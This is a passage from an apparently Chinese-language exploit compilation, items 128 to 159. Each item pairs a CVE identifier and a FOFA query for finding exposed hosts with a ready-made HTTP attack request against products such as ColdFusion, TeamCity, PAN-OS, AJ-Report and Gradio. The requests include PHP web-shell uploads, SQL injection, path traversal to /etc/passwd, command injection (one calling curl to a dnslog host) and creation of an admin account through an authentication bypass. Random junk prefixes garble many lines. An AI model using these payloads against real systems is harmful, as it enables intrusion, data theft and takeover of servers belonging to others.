3 K& P1 \% G7 J& F2 R. q9 L>
* Y* W9 i6 }, M<test>&t;</test>
------WebKitFormBoundaryJGgV5l5ta05yAIe0--
8 g$ b) ?! r! ]1 r- j; J, g( H: Z


# `# e+ f" I5 Y* n128. Adobe ColdFusion 反序列化
CVE-2023-38203
4 E8 _6 M; ^+ l1 q, r, uAdobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
FOFA：app="Adobe-ColdFusion"
8 E5 N) b% B: W% _6 m6 M) rPAYLOAD
5 j2 J) F& ?! ]- o" K5 D6 L
129. Adobe ColdFusion 任意文件读取
2 A* z) O! u9 G; qCVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
  W- {' y8 c- W& D0 j$ N  e5 B第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
6 ^! X# c/ Y6 L6 V% tHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
) m7 \" o. l# w- ^/ H5 w& XAccept: */*
Accept-Encoding: gzip, deflate
Connection: close

: b8 x' h2 m5 p, i$ W9 Q& z' A% w$ g
第二步，读取/etc/passwd文件
, i# @1 p' t, b' E/ K1 b1 BGET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
8 m1 w3 y0 O/ I' e* a( S* j; rHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
uuid: 85f60018-a654-4410-a783-f81cbd5000b9
, A2 N, H* ^. V% {
% \* C) w& b  x, S$ C2 G
, G+ G# O& E) ?/ \130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
8 |& y4 p3 L8 Y4 X) N7 S( H% dHost: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
, L! F/ \, }/ p; e) r( H9 {X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
5 U- |# ^& c; V3 I7 O' bContent-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
, A0 |, c( n/ [. n# @" w% v- CAccept-Encoding: gzip, deflate
% ]! Q, v! v$ _5 `9 F; X$ ^Accept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
Connection: close
5 [( ~3 O. e0 K0 o* D" I/ s
------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png

' S2 j: _* N) }- D7 ^- @6 E0 w) j<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--
" [0 n8 K+ J* T4 U" ^- W5 I
0 K: L5 k3 H+ ]
131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
1 H7 H! N4 O; y8 [( i4 U9 ?9 h4 Fhttp://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
) O9 q+ G- Q" w/ P  r
3 m5 k6 J& u' h" ]132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
2 N, }" n  N7 W8 vCVE-2024-27198
FOFA：body="Log in to TeamCity"
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 192.168.40.130:8111
6 I( e4 F2 T: p: ^. ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
8 ?, L+ r+ ?; ^: oAccept: */*
Content-Type: application/json
Accept-Encoding: gzip, deflate
" a+ O2 j" L, J! f0 Y3 b% D0 E
: ~( h! n" y' D8 Y{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}


, ?/ x  @" e7 X2 ^CVE-2024-27199
1 K! u5 A& |1 T+ f$ D& o' W6 k; ~/res/../admin/diagnostic.jsp
# i, y1 d5 X3 Q" g, |' W+ G/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp
- g: A/ a1 e6 x( k+ T7 T
; @- \% a3 a7 ~
. I- c8 f/ T* ?# |2 n9 i2 YCVE-2024-27198-RCE.py

7 x. U) b' c1 g+ o% [' |9 E133. H5 云商城 file.php 文件上传
FOFA：body="/public/qbsp.php"
& |: V# |4 h6 f+ ZPOST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

------WebKitFormBoundaryFQqYtrIWb8iBxUCx
1 `9 W$ F5 U% _, |5 |, y. x/ A" Q% AContent-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream

<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--

/ l: `  x' x& }4 V! s

% @3 m5 u* H  G! H! c134. 网康NS-ASG应用安全网关index.php sql注入
/ V& t. Q9 B1 U& g* n' \CVE-2024-2330
Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
POST /protocol/index.php HTTP/1.1
Host: x.x.x.x
7 a" z0 Y+ h' o5 ZCookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
( a1 Z9 C& n/ }! c1 W( [# x$ s$ bUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
% h( Y- d  W6 N3 ZAccept: */*
- a- o3 p  I* w% d+ VAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 S9 R1 H( w1 \1 J9 cAccept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
& j9 b3 ?1 e6 [4 n0 r0 HSec-Fetch-Site: same-origin
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 263

jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
5 E' E2 D7 G! @! i' v$ x  v
% F! P7 w: n& D5 t6 d
1 T/ v' z. z$ Z4 q135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
; I, S1 u% T% X$ l) b& C7 x! YCVE-2024-2022
" }; `, m- K! P, s1 E. X! bNetentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
" ~+ b( x/ P: v+ o- B6 A: EGET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
8 w4 ^' ^8 ?3 i* }/ X$ ^' P# uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  j2 ]: z1 a% kAccept-Encoding: gzip, deflate
! Q! P% B& J# ]6 t& P' p. aAccept-Language: zh-CN,zh;q=0.9
Connection: close


( ~: b7 ^% y% q+ R; Z9 v136. NextChat cors SSRF
6 V5 O# B% x- d7 ?! HCVE-2023-49785
3 b. G7 t4 G0 H! ~FOFA：title="NextChat"
GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
Host: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
0 c& N6 y9 B/ _& v, x3 JConnection: close
Accept: */*
; U. K6 P4 s( \- T: j" X# E3 xAccept-Language: en
% U& ]0 ]' M' ?* A, [! F7 o* u+ rAccept-Encoding: gzip


137. 福建科立迅通信指挥调度平台down_file.php sql注入
' s9 J, m( `& x7 J# a6 ?% rCVE-2024-2620
; e% u; J3 [5 \. SFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
0 ~, M3 T6 C8 r6 _Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
* J* }: r, {, O! e/ gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+ C$ R$ N0 M, p' v; B+ `' tAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 t' h& W! m* F" OAccept-Encoding: gzip, deflate, br
, J& Y6 w# L) k4 P: uConnection: close
9 C/ z% [" K- A* Y% L) \Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
. ?; S1 S, X9 N6 }* QUpgrade-Insecure-Requests: 1


138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
; R' }- s3 p" k$ `8 h+ VHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ }2 r4 Y+ [) |% ^* D( NAccept-Encoding: gzip, deflate, br
9 I! z# n7 r/ L6 o* |Connection: close
3 r* s9 c" N+ C. D) L% _& i, {Upgrade-Insecure-Requests: 1
7 R' m: r8 y0 P) k* `5 C8 p
# u% M, m' d; C4 X) X/ h. Y' `
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
( _9 T2 x2 b& v- J/ L) CHost: x.x.x.x
7 u" ~, a& O4 H2 NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# }- r+ z% ?( ]$ G0 uAccept-Encoding: gzip, deflate, br
% @6 W4 Q; V* UConnection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
Upgrade-Insecure-Requests: 1
& q2 h' ?0 K5 `" }& A& S8 w! i3 l
* E% y2 E, ~) @
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
5 v. P: \5 y) a" e0 vFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
! n/ R# a' v7 }$ H# K$ F% vHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
9 `. V0 q) J4 n+ I- bAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
8 e: o7 ^7 h* R# V$ AConnection: close
Cookie: authcode=h8g9
Upgrade-Insecure-Requests: 1


- f0 E5 x1 H7 |  I141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
0 G( E9 F! o- S! j: }8 q' Y1 G9 VPOST /app/ext/ajax_users.php HTTP/1.1
4 @- S0 R/ P, b$ k- d4 U" eHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Content-Type: application/x-www-form-urlencoded


: b8 \. W8 I2 i3 J" E1 qdep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -

/ L+ \  F: [0 \3 A, C4 K( K
142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
7 d4 D2 {* v0 s$ m" K9 ^1 PFOFA：body="/808gps/"
admin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
FOFA：title='AP setup' && header='netis'
PAYLOAD

144. D-Link nas_sharing.cgi 命令注入
FOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
' {$ x& q  x) `% w& `# x' w3 LGET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
& u4 K% ]# Q: e* Q9 gHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
8 H% O0 l, d+ d$ u- vConnection: close
' _- S. o' J4 B+ ?8 ]  t, Y! VAccept: */*
: J1 z( K" ]/ i  jAccept-Language: en
) D) h! W4 G- y4 ^  A* UAccept-Encoding: gzip
# R2 t) d5 A! h2 a0 D2 C% o

0 h* q, ~: Y+ x# e5 Y145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
1 T6 B! j( W5 n' u) RCVE-2024-3400
3 x; j; @6 N. D6 M8 ~$ b( bFOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
& [8 y0 R* Q. X. L1 SAccept-Encoding: gzip
6 K, G! _: m/ s" Z3 h- _

! n2 V1 B* |: _  k" n* o# _' G146. MajorDoMo thumb.php 未授权远程代码执行
* ~. i" @- R0 H" y" oCNVD-2024-02175
FOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
4 A: D6 H  \1 ]% JAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
2 l1 V  [& ^3 }4 X' h9 Z$ Z, tConnection: close


147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
FOFA：body="RaidenMAILD"
* X( ]4 `( H( o& r: |; kGET /webeditor/../../../windows/win.ini HTTP/1.1
- F% e$ E0 a0 K: ^# THost: 127.0.0.1:81
0 O- Q3 F5 C3 k" H7 R9 _Cache-Control: max-age=0
Connection: close

* f$ p; ^9 P& I1 B! a# A
: W8 f$ J' v+ r148. CrushFTP 认证绕过模板注入
CVE-2024-4040
FOFA：body="CrushFTP"
PAYLOAD

4 ^: E9 Q" o7 k- C+ V149. AJ-Report开源数据大屏存在远程命令执行
* l+ _; r; N/ Z5 f: A$ S* zFOFA：title="AJ-Report"

0 H) |/ ]7 t0 @6 }% ?POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
% F4 J- r# V2 t5 i% IAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
9 o9 R: {6 j' z" aContent-Type: application/json;charset=UTF-8
Connection: close
& J; F/ a# X" N% q5 _
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

150. AJ-Report 1.4.0 认证绕过与远程代码执行
2 ^0 H3 e! G) c/ c; [2 uFOFA：title="AJ-Report"
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
) E! L: E; ~" bHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
4 e6 _! z  Q  H2 o7 q, s6 C( NAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 b) F; u* ~: }. k! w' S6 JAccept-Encoding: gzip, deflate, br
$ q; V8 L$ ]3 z/ qAccept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 339
; O. O9 l. q# E- A" W
1 n0 f$ ?, C+ a" X{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
7 J4 l4 c: R3 d5 `# K/ ]

7 I0 G6 s) E4 X& g) c151. AJ-Report 1.4.1 pageList sql注入
3 Q( y4 O7 _9 H& K5 }; O4 k5 WFOFA：title="AJ-Report"
' _4 t3 }6 U! z- L* KGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
3 k  M+ d, c) ?) X- ^4 @Host: x.x.x.x
2 w+ o- |2 a5 {User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
/ {5 h& R; q7 r, |+ kAccept-Encoding: gzip
8 ~( z" X% Z1 N, B5 M- b) d* X
# H' e7 K8 H- |) Z) }/ c" {
152. Progress Kemp LoadMaster 远程命令执行
& O8 _4 J- M$ D5 _( SCVE-2024-1212
, R4 U4 E- H" N0 d* x" PLoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
) B, k8 J4 ]$ dLoadMaster <= 7.2.48.10 (LTS)
& Z: O8 s# f: `4 A/ mFOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
) e! o6 ~, @) W3 U" ^5 Q/ RUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
Connection: close
: D- {# l; o- tAccept: */*
Accept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip


; S" M# w4 W0 W153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
http://x.x.x.x/config


第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
Host: x.x.x.x
7 m) G2 O7 m/ dUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
/ t, D2 Q& T: x7 XConnection: close
Content-Length: 115
Content-Type: application/json
' d/ p, _( {) p! H/ MAccept-Encoding: gzip

{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
% k  ~7 o, C, [! M# }6 k

2 \9 M! {( [7 z1 j  q5 v第三步访问
9 Z; ]: |  H+ u7 a2 E: xhttp://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd

/ P1 _% {& D0 ~+ S  `# u1 a
154. 天维尔消防救援作战调度平台 SQL注入
6 ?9 V2 V* r7 L4 mCVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
3 |& B8 r6 P; S+ gPOST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
Content-Length: 106
Cache-Control: max-age=0
1 m" X4 l. K& ~8 s5 s8 oUpgrade-Insecure-Requests: 1
2 E8 E$ l  [1 O4 Z4 oOrigin: http://x.x.x.x
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
$ ^  J6 w0 J- p& m7 k* c1 _. UAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
: ^5 ^. C, u6 P. F/ a
{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}
/ }$ A6 o( C/ T$ p+ u0 g! z/ f  V
9 ]5 N% U) b! p* v$ Q
% f$ r' e& {+ b% Z155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
& A* o+ ]# S/ l; Q  g7 T  kPOST /include/file.php HTTP/1.1
" ^/ q3 K. m5 J' N, T1 {1 d- j+ hHost: x.x.x.x
, o, J% L2 x+ Y: T2 ~# o" ~  H+ IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
1 G' K" ]2 c1 ?Content-Length: 232
Accept: application/json, text/javascript, */*; q=0.01
  N* s: S" C) jAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 x% E( _2 l" U) zContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
3 R& p$ M4 M& N$ V  i4 b5 W9 K) r! \X-Requested-With: XMLHttpRequest

-----------------------------qttl7vemrsold314zg0f
Content-Disposition: form-data; name="file"; filename="test.php"
$ p; y8 _: L! }( yContent-Type: image/png
# }  E# {1 m" p% y1 j& d
<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--
1 r' a8 K* l. _5 U) M5 ]5 P

, T- S3 D* t$ z' v; K访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
5 q: _% ?* h' W( K, X
156. TBK DVR-4104/DVR-4216 操作系统命令注入
4 _- x* Q$ B  G4 l$ v' iCVE-2024-3721
: l7 d4 h7 h; k5 N- k3 ?& MFOFA："Location: /login.rsp"
·TBK DVR-4104
# @, q/ ~3 a* \0 W" f9 a& a- B, P$ ?·TBK DVR-4216
curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
( E/ o. f8 J2 i+ |* }

POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
& y; Z9 W0 @! W$ w0 m# k! |Connection: close
( B" V4 U( Z' Y+ JContent-Length: 0
. W1 R; a. {% J$ \8 a, k3 f: D- ?Cookie: uid=1
Accept-Encoding: gzip


( J0 i* d7 p, Z2 J157. 美特CRM upload.jsp 任意文件上传
% N4 I7 [: R" q8 d# L& XCNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
" @; m) |+ N' s$ SPOST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
4 g$ z( B0 s) N7 H  y* ]$ L3 a1 k- LContent-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
) L& C, {/ G+ k7 t7 I& b2 bAccept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1

4 g0 r5 c6 B, ^9 B& {/ j$ I6 r; B------WebKitFormBoundary1imovELzPsfzp5dN
' D" P# p, F3 S" H( e' RContent-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
' O8 ?" m) b3 D$ rContent-Type: application/octet-stream
% F* g9 s! J6 F- {' G5 v" i
nyhelxrutzwhrsvsrafb
' d$ a/ o' Q2 ~9 \; M------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="key"

null
. O7 h3 W1 ]7 e7 d' \5 L* u------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="form"
6 p5 {0 c* M* R2 k+ `8 e
null
+ Z3 e2 G8 W4 n& Q! @1 a0 Y& j------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="field"

null
4 p7 T. Y4 Z1 n! m2 q6 a------WebKitFormBoundary1imovELzPsfzp5dN
7 y4 G5 U# o  z7 s! I' A; fContent-Disposition: form-data; name="filetitile"

null
& ^/ ~/ u* P( |------WebKitFormBoundary1imovELzPsfzp5dN
3 ]+ C) K. V6 H; C6 C7 l2 NContent-Disposition: form-data; name="filefolder"

( b6 y& U+ v+ n7 O' C, O) M, }7 I$ Tnull
------WebKitFormBoundary1imovELzPsfzp5dN--

  ~7 U6 p* N1 J5 ]8 q  y
2 R1 Z3 {+ s. T8 p, Ihttp://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
, N0 G$ a0 X+ j* s2 Z- D' D1 K; oFOFA："Generator: Masa CMS"
& n1 Q# M4 J# N" A1 A9 HPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
- M; s& _  G9 o- J7 }6 nContent-Type: application/x-www-form-urlencoded

object=displayregion&contenthistid=x\'&previewid=1

* R" R  K: z. N6 I& G
159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
POST /webservices/WebJobUpload.asmx HTTP/1.1
0 K) x7 t' Z* S' X8 u# qHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
- M4 {. n* U5 h/ Q) J- A$ k( v# ]Accept-Encoding: gzip, deflate
( R/ s+ \' [2 C6 y" P8 Z( A- y% FConnection: close
Content-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"
: G. S# W9 a( u
2 a" Y0 u8 C1 ]$ z+ s$ J. `3 f' H<?xml version="1.0" encoding="utf-8"?>
) x. C; b$ M; U2 h* ]<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
